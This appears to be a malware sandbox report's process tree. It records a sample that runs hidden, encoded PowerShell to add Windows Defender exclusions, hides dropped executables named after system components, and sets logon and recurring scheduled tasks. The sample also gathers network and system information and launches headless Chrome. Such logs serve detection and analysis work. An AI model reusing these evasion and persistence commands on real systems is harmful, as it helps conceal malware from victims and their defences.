  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABNAGUAZABpAGEAUABsAGEAeQBlAHIAXABcAEMAbwBuAGYAaQBnACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:5172
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe" 2>nul'"
  2⤵
  PID:4824
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5204
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe
      4⤵
      Views/modifies file attributes
      PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABNAGUAZABpAGEAUABsAGEAeQBlAHIAXABcAEMAbwBuAGYAaQBnAFwAXABXAGkAbgBkAG8AdwBzAE0AZQBkAGkAYQBDAGYAZwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFcAaQBuAGQAbwB3AHMATQBlAGQAaQBhAEMAZgBnAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsMediaCfg" /tr ""C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2540
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsMediaCfg /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2448
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsMediaCfg /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsMediaCfg_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:640
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsMediaCfg_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2268
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsMediaCfg_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service" 2>nul'"
  2⤵
  PID:4092
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3256
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service
      4⤵
      Views/modifies file attributes
      PID:2068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFwAXABTAGUAcgB2AGkAYwBlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:3756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe" 2>nul'"
  2⤵
  PID:1552
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3352
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe
      4⤵
      Views/modifies file attributes
      PID:3164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFwAXABTAGUAcgB2AGkAYwBlAFwAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:3024
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5052
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:3492
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:1352
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductId -ErrorAction SilentlyContinue).ProductId"
  2⤵
  PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service" 2>nul'"
  2⤵
  PID:3944
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5644
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service
      4⤵
      Views/modifies file attributes
      PID:312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'ipconfig /all'"
  2⤵
  PID:2052
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "ipconfig /all"
    3⤵
    PID:5708
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:4044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAXABcAFMAZQByAHYAaQBjAGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5516
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "SYSINFO_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277452424|5768|1784277475611" /f 2>nul'"
  2⤵
  PID:220
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d SYSINFO_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277452424|5768|1784277475611 /f 2>nul"
    3⤵
    PID:1524
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d SYSINFO_DONE
      4⤵
      Modifies registry key
      PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2064
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5892
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe
      4⤵
      Views/modifies file attributes
      PID:2932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-sandbox --no-first-run --disable-gpu --disable-extensions
  2⤵
  - Loads dropped DLL
  - Enumerates system info in registry
  - Suspicious use of FindShellTrayWindow
  PID:5924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x190,0x194,0x198,0x16c,0x19c,0x7ffbc897c728,0x7ffbc897c734,0x7ffbc897c740
    3⤵
    PID:4560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1896 /prefetch:2
    3⤵
    PID:1864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --force-high-res-timeticks=disabled --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1960 /prefetch:3
    3⤵
    - System Time Discovery
    PID:2844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --force-high-res-timeticks=disabled --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:8
    3⤵
    PID:5680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:1
    3⤵
    PID:3988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
    3⤵
    PID:5604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:1
    3⤵
    PID:204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3084 /prefetch:2
    3⤵
    PID:3736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:2
    3⤵
    PID:3192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
    3⤵
    PID:3880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5924240700921" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1900,i,4118067262109045128,12578892810875436229,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:2
    3⤵
    PID:5832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand 